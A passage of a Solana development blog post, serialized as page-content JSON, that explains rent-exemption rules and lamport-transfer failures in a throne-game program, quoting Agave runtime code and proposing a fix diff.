",{"type":24,"tag":275,"props":75473,"children":75474},{},[75475],{"type":30,"value":75476},"account metadata",{"type":30,"value":75478}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":33,"props":75480,"children":75481},{},[75482,75484,75490],{"type":30,"value":75483},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":156,"props":75485,"children":75487},{"className":75486},[],[75488],{"type":30,"value":75489},"data.len() == 0",{"type":30,"value":75491}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":33,"props":75493,"children":75494},{},[75495,75497,75503],{"type":30,"value":75496},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":37,"props":75498,"children":75501},{"href":75499,"rel":75500},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[41],[75502],{"type":30,"value":50674},{"type":30,"value":436},{"type":24,"tag":920,"props":75505,"children":75507},{"className":6102,"code":75506,"language":6101,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[75508],{"type":24,"tag":156,"props":75509,"children":75510},{"__ignoreMap":7},[75511,75595,75612,75658,75678,75699,75720,75735,75752,75796,75815,75836,75857,75873,75881,75914,75921,75928,75935,75942],{"type":24,"tag":930,"props":75512,"children":75513},{"class":932,"line":933},[75514,75519,75524,75528,75532,75536,75540,75545,75549,75553,75558,75562,75567,75571,75575,75579,75583,75587,75591],{"type":24,"tag":930,"props":75515,"children":75516},{"style":937},[75517],{"type":30,"value":75518},"    fn",{"type":24,"tag":930,"props":75520,"children":75521},{"style":1002},[75522],{"type":30,"value":75523}," transition_allowed",{"type":24,"tag":930,"props":75525,"children":75526},{"style":959},[75527],{"type":30,"value":1010},{"type":24,"tag":930,"props":75529,"children":75530},{"style":1158},[75531],{"type":30,"value":6230},{"type":24,"tag":930,"props":75533,"children":75534},{"style":937},[75535],{"type":30,"value":16820},{"type":24,"tag":930,"props":75537,"children":75538},{"style":959},[75539],{"type":30,"value":962},{"type":24,"tag":930,"props":75541,"children":75542},{"style":1023},[75543],{"type":30,"value":75544},"pre_rent_state",{"type":24,"tag":930,"props":75546,"children":75547},{"style":1158},[75548],{"type":30,"value":476},{"type":24,"tag":930,"props":75550,"children":75551},{"style":1158},[75552],{"type":30,"value":10253},{"type":24,"tag":930,"props":75554,"children":75555},{"style":943},[75556],{"type":30,"value":75557},"RentState",{"type":24,"tag":930,"props":75559,"children":75560},{"style":959},[75561],{"type":30,"value":962},{"type":24,"tag":930,"props":75563,"children":75564},{"style":1023},[75565],{"type":30,"value":75566},"post_rent_state",{"type":24,"tag":930,"props":75568,"children":75569},{"style":1158},[75570],{"type":30,"value":476},{"type":24,"tag":930,"props":75572,"children":75573},{"style":1158},[75574],{"type":30,"value":10253},{"type":24,"tag":930,"props":75576,"children":75577},{"style":943},[75578],{"type":30,"value":75557},{"type":24,"tag":930,"props":75580,"children":75581},{"style":959},[75582],{"type":30,"value":5579},{"type":24,"tag":930,"props":75584,"children":75585},{"style":1158},[75586],{"type":30,"value":16864},{"type":24,"tag":930,"props":75588,"children":75589},{"style":943},[75590],{"type":30,"value":15157},{"type":24,"tag":930,"props":75592,"children":75593},{"style":959},[75594],{"type":30,"value":981},{"type":24,"tag":930,"props":75596,"children":75597},{"class":932,"line":984},[75598,75603,75608],{"type":24,"tag":930,"props":75599,"children":75600},{"style":1079},[75601],{"type":30,"value":75602},"        match",{"type":24,"tag":930,"props":75604,"children":75605},{"style":1023},[75606],{"type":30,"value":75607}," post_rent_state",{"type":24,"tag":930,"props":75609,"children":75610},{"style":959},[75611],{"type":30,"value":981},{"type":24,"tag":930,"props":75613,"children":75614},{"class":932,"line":993},[75615,75620,75624,75628,75632,75637,75641,75646,75650,75654],{"type":24,"tag":930,"props":75616,"children":75617},{"style":943},[75618],{"type":30,"value":75619},"            RentState",{"type":24,"tag":930,"props":75621,"children":75622},{"style":1158},[75623],{"type":30,"value":6597},{"type":24,"tag":930,"props":75625,"children":75626},{"style":943},[75627],{"type":30,"value":75444},{"type":24,"tag":930,"props":75629,"children":75630},{"style":1158},[75631],{"type":30,"value":7387},{"type":24,"tag":930,"props":75633,"children":75634},{"style":943},[75635],{"type":30,"value":75636}," RentState",{"type":24,"tag":930,"props":75638,"children":75639},{"style":1158},[75640],{"type":30,"value":6597},{"type":24,"tag":930,"props":75642,"children":75643},{"style":943},[75644],{"type":30,"value":75645},"RentExempt",{"type":24,"tag":930,"props":75647,"children":75648},{"style":1158},[75649],{"type":30,"value":30845},{"type":24,"tag":930,"props":75651,"children":75652},{"style":937},[75653],{"type":30,"value":15576},{"type":24,"tag":930,"props":75655,"children":75656},{"style":959},[75657],{"type":30,"value":2832},{"type":24,"tag":930,"props":75659,"children":75660},{"class":932,"line":1057},[75661,75665,75669,75674],{"type":24,"tag":930,"props":75662,"children":75663},{"style":943},[75664],{"type":30,"value":75619},{"type":24,"tag":930,"props":75666,"children":75667},{"style":1158},[75668],{"type":30,"value":6597},{"type":24,"tag":930,"props":75670,"children":75671},{"style":943},[75672],{"type":30,"value":75673},"RentPaying",{"type":24,"tag":930,"props":75675,"children":75676},{"style":959},[75677],{"type":30,"value":981},{"type":24,"tag":930,"props":75679,"children":75680},{"class":932,"line":1066},[75681,75686,75690,75695],{"type":24,"tag":930,"props":75682,"children":75683},{"style":1023},[75684],{"type":30,"value":75685},"                data_size",{"type":24,"tag":930,"props":75687,"children":75688},{"style":1158},[75689],{"type":30,"value":476},{"type":24,"tag":930,"props":75691,"children":75692},{"style":1023},[75693],{"type":30,"value":75694}," post_data_size",{"type":24,"tag":930,"props":75696,"children":75697},{"style":959},[75698],{"type":30,"value":2832},{"type":24,"tag":930,"props":75700,"children":75701},{"class":932,"line":1075},[75702,75707,75711,75716],{"type":24,"tag":930,"props":75703,"children":75704},{"style":1023},[75705],{"type":30,"value":75706},"                lamports",{"type":24,"tag":930,"props":75708,"children":75709},{"style":1158},[75710],{"type":30,"value":476},{"type":24,"tag":930,"props":75712,"children":75713},{"style":1023},[75714],{"type":30,"value":75715}," post_lamports",{"type":24,"tag":930,"props":75717,"children":75718},{"style":959},[75719],{"type":30,"value":2832},{"type":24,"tag":930,"props":75721,"children":75722},{"class":932,"line":1122},[75723,75727,75731],{"type":24,"tag":930,"props":75724,"children":75725},{"style":959},[75726],{"type":30,"value":2312},{"type":24,"tag":930,"props":75728,"children":75729},{"style":1158},[75730],{"type":30,"value":17925},{"type":24,"tag":930,"props":75732,"children":75733},{"style":959},[75734],{"type":30,"value":981},{"type":24,"tag":930,"props":75736,"children":75737},{"class":932,"line":1131},[75738,75743,75748],{"type":24,"tag":930,"props":75739,"children":75740},{"style":1079},[75741],{"type":30,"value":75742},"                match",{"type":24,"tag":930,"props":75744,"children":75745},{"style":1023},[75746],{"type":30,"value":75747}," pre_rent_state",{"type":24,"tag":930,"props":75749,"children":75750},{"style":959},[75751],{"type":30,"value":981},{"type":24,"tag":930,"props":75753,"children":75754},{"class":932,"line":1144},[75755,75760,75764,75768,75772,75776,75780,75784,75788,75792],{"type":24,"tag":930,"props":75756,"children":75757},{"style":943},[75758],{"type":30,"value":75759},"                    RentState",{"type":24,"tag":930,"props":75761,"children":75762},{"style":1158},[75763],{"type":30,"value":6597},{"type":24,"tag":930,"props":75765,"children":75766},{"style":943},[75767],{"type":30,"value":75444},{"type":24,"tag":930,"props":75769,"children":75770},{"style":1158},[75771],{"type":30,"value":7387},{"type":24,"tag":930,"props":75773,"children":75774},{"style":943},[75775],{"type":30,"value":75636},{"type":24,"tag":930,"props":75777,"children":75778},{"style":1158},[75779],{"type":30,"value":6597},{"type":24,"tag":930,"props":75781,"children":75782},{"style":943},[75783],{"type":30,"value":75645},{"type":24,"tag":930,"props":75785,"children":75786},{"style":1158},[75787],{"type":30,"value":30845},{"type":24,"tag":930,"props":75789,"children":75790},{"style":937},[75791],{"type":30,"value":12167},{"type":24,"tag":930,"props":75793,"children":75794},{"style":959},[75795],{"type":30,"value":2832},{"type":24,"tag":930,"props":75797,"children":75798},{"class":932,"line":1169},[75799,75803,75807,75811],{"type":24,"tag":930,"props":75800,"children":75801},{"style":943},[75802],{"type":30,"value":75759},{"type":24,"tag":930,"props":75804,"children":75805},{"style":1158},[75806],{"type":30,"value":6597},{"type":24,"tag":930,"props":75808,"children":75809},{"style":943},[75810],{"type":30,"value":75673},{"type":24,"tag":930,"props":75812,"children":75813},{"style":959},[75814],{"type":30,"value":981},{"type":24,"tag":930,"props":75816,"children":75817},{"class":932,"line":1191},[75818,75823,75827,75832],{"type":24,"tag":930,"props":75819,"children":75820},{"style":1023},[75821],{"type":30,"value":75822},"                        data_size",{"type":24,"tag":930,"props":75824,"children":75825},{"style":1158},[75826],{"type":30,"value":476},{"type":24,"tag":930,"props":75828,"children":75829},{"style":1023},[75830],{"type":30,"value":75831}," pre_data_size",{"type":24,"tag":930,"props":75833,"children":75834},{"style":959},[75835],{"type":30,"value":2832},{"type":24,"tag":930,"props":75837,"children":75838},{"class":932,"line":1223},[75839,75844,75848,75853],{"type":24,"tag":930,"props":75840,"children":75841},{"style":1023},[75842],{"type":30,"value":75843},"                        lamports",{"type":24,"tag":930,"props":75845,"children":75846},{"style":1158},[75847],{"type":30,"value":476},{"type":24,"tag":930,"props":75849,"children":75850},{"style":1023},[75851],{"type":30,"value":75852}," pre_lamports",{"type":24,"tag":930,"props":75854,"children":75855},{"style":959},[75856],{"type":30,"value":2832},{"type":24,"tag":930,"props":75858,"children":75859},{"class":932,"line":1281},[75860,75865,75869],{"type":24,"tag":930,"props":75861,"children":75862},{"style":959},[75863],{"type":30,"value":75864},"                    } ",{"type":24,"tag":930,"props":75866,"children":75867},{"style":1158},[75868],{"type":30,"value":17925},{"type":24,"tag":930,"props":75870,"children":75871},{"style":959},[75872],{"type":30,"value":981},{"type":24,"tag":930,"props":75874,"children":75875},{"class":932,"line":1313},[75876],{"type":24,"tag":930,"props":75877,"children":75878},{"style":1422},[75879],{"type":30,"value":75880},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":930,"props":75882,"children":75883},{"class":932,"line":1335},[75884,75889,75893,75897,75901,75905,75909],{"type":24,"tag":930,"props":75885,"children":75886},{"style":1023},[75887],{"type":30,"value":75888},"                        post_data_size",{"type":24,"tag":930,"props":75890,"children":75891},{"style":1158},[75892],{"type":30,"value":6402},{"type":24,"tag":930,"props":75894,"children":75895},{"style":1023},[75896],{"type":30,"value":75831},{"type":24,"tag":930,"props":75898,"children":75899},{"style":1158},[75900],{"type":30,"value":17291},{"type":24,"tag":930,"props":75902,"children":75903},{"style":1023},[75904],{"type":30,"value":75715},{"type":24,"tag":930,"props":75906,"children":75907},{"style":1158},[75908],{"type":30,"value":11306},{"type":24,"tag":930,"props":75910,"children":75911},{"style":1023},[75912],{"type":30,"value":75913}," pre_lamports\n",{"type":24,"tag":930,"props":75915,"children":75916},{"class":932,"line":1376},[75917],{"type":24,"tag":930,"props":75918,"children":75919},{"style":959},[75920],{"type":30,"value":4831},{"type":24,"tag":930,"props":75922,"children":75923},{"class":932,"line":1418},[75924],{"type":24,"tag":930,"props":75925,"children":75926},{"style":959},[75927],{"type":30,"value":1634},{"type":24,"tag":930,"props":75929,"children":75930},{"class":932,"line":1438},[75931],{"type":24,"tag":930,"props":75932,"children":75933},{"style":959},[75934],{"type":30,"value":1643},{"type":24,"tag":930,"props":75936,"children":75937},{"class":932,"line":1479},[75938],{"type":24,"tag":930,"props":75939,"children":75940},{"style":959},[75941],{"type":30,"value":1831},{"type":24,"tag":930,"props":75943,"children":75944},{"class":932,"line":1506},[75945],{"type":24,"tag":930,"props":75946,"children":75947},{"style":959},[75948],{"type":30,"value":1840},{"type":24,"tag":33,"props":75950,"children":75951},{},[75952],{"type":30,"value":75953},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":920,"props":75955,"children":75957},{"className":7361,"code":75956,"language":7360,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[75958],{"type":24,"tag":156,"props":75959,"children":75960},{"__ignoreMap":7},[75961,75977],{"type":24,"tag":930,"props":75962,"children":75963},{"class":932,"line":933},[75964,75968,75973],{"type":24,"tag":930,"props":75965,"children":75966},{"style":1002},[75967],{"type":30,"value":6000},{"type":24,"tag":930,"props":75969,"children":75970},{"style":1270},[75971],{"type":30,"value":75972}," rent",{"type":24,"tag":930,"props":75974,"children":75975},{"style":1242},[75976],{"type":30,"value":27370},{"type":24,"tag":930,"props":75978,"children":75979},{"class":932,"line":984},[75980,75985,75990,75995],{"type":24,"tag":930,"props":75981,"children":75982},{"style":1002},[75983],{"type":30,"value":75984},"Rent-exempt",{"type":24,"tag":930,"props":75986,"children":75987},{"style":1270},[75988],{"type":30,"value":75989}," minimum:",{"type":24,"tag":930,"props":75991,"children":75992},{"style":1242},[75993],{"type":30,"value":75994}," 0.00089088",{"type":24,"tag":930,"props":75996,"children":75997},{"style":1270},[75998],{"type":30,"value":75999}," SOL\n",{"type":24,"tag":21995,"props":76001,"children":76003},{"id":76002},"fix-1-only-reimburse-if-rent-exempt",[76004],{"type":30,"value":76005},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":33,"props":76007,"children":76008},{},[76009],{"type":30,"value":76010},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":920,"props":76012,"children":76014},{"className":43448,"code":76013,"language":43450,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[76015],{"type":24,"tag":156,"props":76016,"children":76017},{"__ignoreMap":7},[76018,76026,76034,76042,76050,76058,76066,76074,76082,76090],{"type":24,"tag":930,"props":76019,"children":76020},{"class":932,"line":933},[76021],{"type":24,"tag":930,"props":76022,"children":76023},{"style":959},[76024],{"type":30,"value":76025},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":930,"props":76027,"children":76028},{"class":932,"line":984},[76029],{"type":24,"tag":930,"props":76030,"children":76031},{"style":1242},[76032],{"type":30,"value":76033},"+let rent = Rent::get()?;\n",{"type":24,"tag":930,"props":76035,"children":76036},{"class":932,"line":993},[76037],{"type":24,"tag":930,"props":76038,"children":76039},{"style":1242},[76040],{"type":30,"value":76041},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":930,"props":76043,"children":76044},{"class":932,"line":1057},[76045],{"type":24,"tag":930,"props":76046,"children":76047},{"style":1242},[76048],{"type":30,"value":76049},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":930,"props":76051,"children":76052},{"class":932,"line":1066},[76053],{"type":24,"tag":930,"props":76054,"children":76055},{"style":959},[76056],{"type":30,"value":76057},"    transfer_from_pda(\n",{"type":24,"tag":930,"props":76059,"children":76060},{"class":932,"line":1075},[76061],{"type":24,"tag":930,"props":76062,"children":76063},{"style":959},[76064],{"type":30,"value":76065},"        &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":930,"props":76067,"children":76068},{"class":932,"line":1122},[76069],{"type":24,"tag":930,"props":76070,"children":76071},{"style":959},[76072],{"type":30,"value":76073},"        &ctx.accounts.old_king,\n",{"type":24,"tag":930,"props":76075,"children":76076},{"class":932,"line":1131},[76077],{"type":24,"tag":930,"props":76078,"children":76079},{"style":959},[76080],{"type":30,"value":76081},"        to_reimburse,\n",{"type":24,"tag":930,"props":76083,"children":76084},{"class":932,"line":1144},[76085],{"type":24,"tag":930,"props":76086,"children":76087},{"style":959},[76088],{"type":30,"value":76089},"    )?;\n",{"type":24,"tag":930,"props":76091,"children":76092},{"class":932,"line":1169},[76093],{"type":24,"tag":930,"props":76094,"children":76095},{"style":1242},[76096],{"type":30,"value":76097},"+}\n",{"type":24,"tag":33,"props":76099,"children":76100},{},[76101],{"type":30,"value":76102},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":151,"props":76104,"children":76106},{"id":76105},"bug-2-writable-but-untouchable-set_lamports-fails",[76107,76109,76115],{"type":30,"value":76108},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":156,"props":76110,"children":76112},{"className":76111},[],[76113],{"type":30,"value":76114},"set_lamports",{"type":30,"value":76116}," Fails",{"type":24,"tag":33,"props":76118,"children":76119},{},[76120,76122,76129],{"type":30,"value":76121},"Let's look at ",{"type":24,"tag":37,"props":76123,"children":76126},{"href":76124,"rel":76125},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[41],[76127],{"type":30,"value":76128},"BorrowedAccount::set_lamports",{"type":30,"value":436},{"type":24,"tag":920,"props":76131,"children":76133},{"className":6102,"code":76132,"language":6101,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[76134],{"type":24,"tag":156,"props":76135,"children":76136},{"__ignoreMap":7},[76137,76145,76166,76238,76246,76304,76336,76343,76351,76379,76411,76418,76426,76450,76482,76489,76497,76532,76548,76555,76583,76618,76629,76636,76643,76651,76670,76678,76718,76730,76742,76754,76785],{"type":24,"tag":930,"props":76138,"children":76139},{"class":932,"line":933},[76140],{"type":24,"tag":930,"props":76141,"children":76142},{"style":1422},[76143],{"type":30,"value":76144},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":930,"props":76146,"children":76147},{"class":932,"line":984},[76148,76153,76157,76162],{"type":24,"tag":930,"props":76149,"children":76150},{"style":959},[76151],{"type":30,"value":76152},"#[cfg(not(target_os ",{"type":24,"tag":930,"props":76154,"children":76155},{"style":1158},[76156],{"type":30,"value":1161},{"type":24,"tag":930,"props":76158,"children":76159},{"style":1270},[76160],{"type":30,"value":76161}," \"solana\"",{"type":24,"tag":930,"props":76163,"children":76164},{"style":959},[76165],{"type":30,"value":23712},{"type":24,"tag":930,"props":76167,"children":76168},{"class":932,"line":993},[76169,76173,76177,76182,76186,76190,76194,76198,76202,76206,76210,76214,76218,76222,76226,76230,76234],{"type":24,"tag":930,"props":76170,"children":76171},{"style":937},[76172],{"type":30,"value":16797},{"type":24,"tag":930,"props":76174,"children":76175},{"style":937},[76176],{"type":30,"value":16802},{"type":24,"tag":930,"props":76178,"children":76179},{"style":1002},[76180],{"type":30,"value":76181}," set_lamports",{"type":24,"tag":930,"props":76183,"children":76184},{"style":959},[76185],{"type":30,"value":1010},{"type":24,"tag":930,"props":76187,"children":76188},{"style":1158},[76189],{"type":30,"value":6230},{"type":24,"tag":930,"props":76191,"children":76192},{"style":937},[76193],{"type":30,"value":6839},{"type":24,"tag":930,"props":76195,"children":76196},{"style":937},[76197],{"type":30,"value":16904},{"type":24,"tag":930,"props":76199,"children":76200},{"style":959},[76201],{"type":30,"value":962},{"type":24,"tag":930,"props":76203,"children":76204},{"style":1023},[76205],{"type":30,"value":18615},{"type":24,"tag":930,"props":76207,"children":76208},{"style":1158},[76209],{"type":30,"value":476},{"type":24,"tag":930,"props":76211,"children":76212},{"style":943},[76213],{"type":30,"value":8972},{"type":24,"tag":930,"props":76215,"children":76216},{"style":959},[76217],{"type":30,"value":5579},{"type":24,"tag":930,"props":76219,"children":76220},{"style":1158},[76221],{"type":30,"value":16864},{"type":24,"tag":930,"props":76223,"children":76224},{"style":943},[76225],{"type":30,"value":16869},{"type":24,"tag":930,"props":76227,"children":76228},{"style":959},[76229],{"type":30,"value":16874},{"type":24,"tag":930,"props":76231,"children":76232},{"style":943},[76233],{"type":30,"value":18861},{"type":24,"tag":930,"props":76235,"children":76236},{"style":959},[76237],{"type":30,"value":10392},{"type":24,"tag":930,"props":76239,"children":76240},{"class":932,"line":1057},[76241],{"type":24,"tag":930,"props":76242,"children":76243},{"style":1422},[76244],{"type":30,"value":76245},"    // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":930,"props":76247,"children":76248},{"class":932,"line":1066},[76249,76253,76257,76261,76265,76270,76274,76278,76283,76287,76291,76295,76300],{"type":24,"tag":930,"props":76250,"children":76251},{"style":1079},[76252],{"type":30,"value":15386},{"type":24,"tag":930,"props":76254,"children":76255},{"style":1158},[76256],{"type":30,"value":15971},{"type":24,"tag":930,"props":76258,"children":76259},{"style":937},[76260],{"type":30,"value":16820},{"type":24,"tag":930,"props":76262,"children":76263},{"style":1158},[76264],{"type":30,"value":436},{"type":24,"tag":930,"props":76266,"children":76267},{"style":1002},[76268],{"type":30,"value":76269},"is_owned_by_current_program",{"type":24,"tag":930,"props":76271,"children":76272},{"style":959},[76273],{"type":30,"value":3446},{"type":24,"tag":930,"props":76275,"children":76276},{"style":1158},[76277],{"type":30,"value":5584},{"type":24,"tag":930,"props":76279,"children":76280},{"style":1023},[76281],{"type":30,"value":76282}," lamports",{"type":24,"tag":930,"props":76284,"children":76285},{"style":1158},[76286],{"type":30,"value":11828},{"type":24,"tag":930,"props":76288,"children":76289},{"style":937},[76290],{"type":30,"value":16904},{"type":24,"tag":930,"props":76292,"children":76293},{"style":1158},[76294],{"type":30,"value":436},{"type":24,"tag":930,"props":76296,"children":76297},{"style":1002},[76298],{"type":30,"value":76299},"get_lamports",{"type":24,"tag":930,"props":76301,"children":76302},{"style":959},[76303],{"type":30,"value":18839},{"type":24,"tag":930,"props":76305,"children":76306},{"class":932,"line":1075},[76307,76311,76315,76319,76323,76327,76332],{"type":24,"tag":930,"props":76308,"children":76309},{"style":1079},[76310],{"type":30,"value":18847},{"type":24,"tag":930,"props":76312,"children":76313},{"style":943},[76314],{"type":30,"value":18852},{"type":24,"tag":930,"props":76316,"children":76317},{"style":959},[76318],{"type":30,"value":1010},{"type":24,"tag":930,"props":76320,"children":76321},{"style":943},[76322],{"type":30,"value":18861},{"type":24,"tag":930,"props":76324,"children":76325},{"style":1158},[76326],{"type":30,"value":6597},{"type":24,"tag":930,"props":76328,"children":76329},{"style":943},[76330],{"type":30,"value":76331},"ExternalAccountLamportSpend",{"type":24,"tag":930,"props":76333,"children":76334},{"style":959},[76335],{"type":30,"value":1278},{"type":24,"tag":930,"props":76337,"children":76338},{"class":932,"line":1122},[76339],{"type":24,"tag":930,"props":76340,"children":76341},{"style":959},[76342],{"type":30,"value":1840},{"type":24,"tag":930,"props":76344,"children":76345},{"class":932,"line":1131},[76346],{"type":24,"tag":930,"props":76347,"children":76348},{"style":1422},[76349],{"type":30,"value":76350},"    // The balance of read-only may not change\n",{"type":24,"tag":930,"props":76352,"children":76353},{"class":932,"line":1144},[76354,76358,76362,76366,76370,76375],{"type":24,"tag":930,"props":76355,"children":76356},{"style":1079},[76357],{"type":30,"value":15386},{"type":24,"tag":930,"props":76359,"children":76360},{"style":1158},[76361],{"type":30,"value":15971},{"type":24,"tag":930,"props":76363,"children":76364},{"style":937},[76365],{"type":30,"value":16820},{"type":24,"tag":930,"props":76367,"children":76368},{"style":1158},[76369],{"type":30,"value":436},{"type":24,"tag":930,"props":76371,"children":76372},{"style":1002},[76373],{"type":30,"value":76374},"is_writable",{"type":24,"tag":930,"props":76376,"children":76377},{"style":959},[76378],{"type":30,"value":18839},{"type":24,"tag":930,"props":76380,"children":76381},{"class":932,"line":1169},[76382,76386,76390,76394,76398,76402,76407],{"type":24,"tag":930,"props":76383,"children":76384},{"style":1079},[76385],{"type":30,"value":18847},{"type":24,"tag":930,"props":76387,"children":76388},{"style":943},[76389],{"type":30,"value":18852},{"type":24,"tag":930,"props":76391,"children":76392},{"style":959},[76393],{"type":30,"value":1010},{"type":24,"tag":930,"props":76395,"children":76396},{"style":943},[76397],{"type":30,"value":18861},{"type":24,"tag":930,"props":76399,"children":76400},{"style":1158},[76401],{"type":30,"value":6597},{"type":24,"tag":930,"props":76403,"children":76404},{"style":943},[76405],{"type":30,"value":76406},"ReadonlyLamportChange",{"type":24,"tag":930,"props":76408,"children":76409},{"style":959},[76410],{"type":30,"value":1278},{"type":24,"tag":930,"props":76412,"children":76413},{"class":932,"line":1191},[76414],{"type":24,"tag":930,"props":76415,"children":76416},{"style":959},[76417],{"type":30,"value":1840},{"type":24,"tag":930,"props":76419,"children":76420},{"class":932,"line":1223},[76421],{"type":24,"tag":930,"props":76422,"children":76423},{"style":1422},[76424],{"type":30,"value":76425},"    // The balance of executable accounts may not change\n",{"type":24,"tag":930,"props":76427,"children":76428},{"class":932,"line":1281},[76429,76433,76437,76441,76446],{"type":24,"tag":930,"props":76430,"children":76431},{"style":1079},[76432],{"type":30,"value":15386},{"type":24,"tag":930,"props":76434,"children":76435},{"style":937},[76436],{"type":30,"value":16904},{"type":24,"tag":930,"props":76438,"children":76439},{"style":1158},[76440],{"type":30,"value":436},{"type":24,"tag":930,"props":76442,"children":76443},{"style":1002},[76444],{"type":30,"value":76445},"is_executable_internal",{"type":24,"tag":930,"props":76447,"children":76448},{"style":959},[76449],{"type":30,"value":18839},{"type":24,"tag":930,"props":76451,"children":76452},{"class":932,"line":1313},[76453,76457,76461,76465,76469,76473,76478],{"type":24,"tag":930,"props":76454,"children":76455},{"style":1079},[76456],{"type":30,"value":18847},{"type":24,"tag":930,"props":76458,"children":76459},{"style":943},[76460],{"type":30,"value":18852},{"type":24,"tag":930,"props":76462,"children":76463},{"style":959},[76464],{"type":30,"value":1010},{"type":24,"tag":930,"props":76466,"children":76467},{"style":943},[76468],{"type":30,"value":18861},{"type":24,"tag":930,"props":76470,"children":76471},{"style":1158},[76472],{"type":30,"value":6597},{"type":24,"tag":930,"props":76474,"children":76475},{"style":943},[76476],{"type":30,"value":76477},"ExecutableLamportChange",{"type":24,"tag":930,"props":76479,"children":76480},{"style":959},[76481],{"type":30,"value":1278},{"type":24,"tag":930,"props":76483,"children":76484},{"class":932,"line":1335},[76485],{"type":24,"tag":930,"props":76486,"children":76487},{"style":959},[76488],{"type":30,"value":1840},{"type":24,"tag":930,"props":76490,"children":76491},{"class":932,"line":1376},[76492],{"type":24,"tag":930,"props":76493,"children":76494},{"style":1422},[76495],{"type":30,"value":76496},"    // don't touch the account if the lamports do not change\n",{"type":24,"tag":930,"props":76498,"children":76499},{"class":932,"line":1418},[76500,76504,76508,76512,76516,76520,76524,76528],{"type":24,"tag":930,"props":76501,"children":76502},{"style":1079},[76503],{"type":30,"value":15386},{"type":24,"tag":930,"props":76505,"children":76506},{"style":937},[76507],{"type":30,"value":16904},{"type":24,"tag":930,"props":76509,"children":76510},{"style":1158},[76511],{"type":30,"value":436},{"type":24,"tag":930,"props":76513,"children":76514},{"style":1002},[76515],{"type":30,"value":76299},{"type":24,"tag":930,"props":76517,"children":76518},{"style":959},[76519],{"type":30,"value":3446},{"type":24,"tag":930,"props":76521,"children":76522},{"style":1158},[76523],{"type":30,"value":1239},{"type":24,"tag":930,"props":76525,"children":76526},{"style":1023},[76527],{"type":30,"value":76282},{"type":24,"tag":930,"props":76529,"children":76530},{"style":959},[76531],{"type":30,"value":981},{"type":24,"tag":930,"props":76533,"children":76534},{"class":932,"line":1438},[76535,76539,76543],{"type":24,"tag":930,"props":76536,"children":76537},{"style":1079},[76538],{"type":30,"value":18847},{"type":24,"tag":930,"props":76540,"children":76541},{"style":943},[76542],{"type":30,"value":46025},{"type":24,"tag":930,"props":76544,"children":76545},{"style":959},[76546],{"type":30,"value":76547},"(());\n",{"type":24,"tag":930,"props":76549,"children":76550},{"class":932,"line":1479},[76551],{"type":24,"tag":930,"props":76552,"children":76553},{"style":959},[76554],{"type":30,"value":1840},{"type":24,"tag":930,"props":76556,"children":76557},{"class":932,"line":1506},[76558,76562,76566,76571,76575,76579],{"type":24,"tag":930,"props":76559,"children":76560},{"style":937},[76561],{"type":30,"value":23888},{"type":24,"tag":930,"props":76563,"children":76564},{"style":1158},[76565],{"type":30,"value":436},{"type":24,"tag":930,"props":76567,"children":76568},{"style":1002},[76569],{"type":30,"value":76570},"touch",{"type":24,"tag":9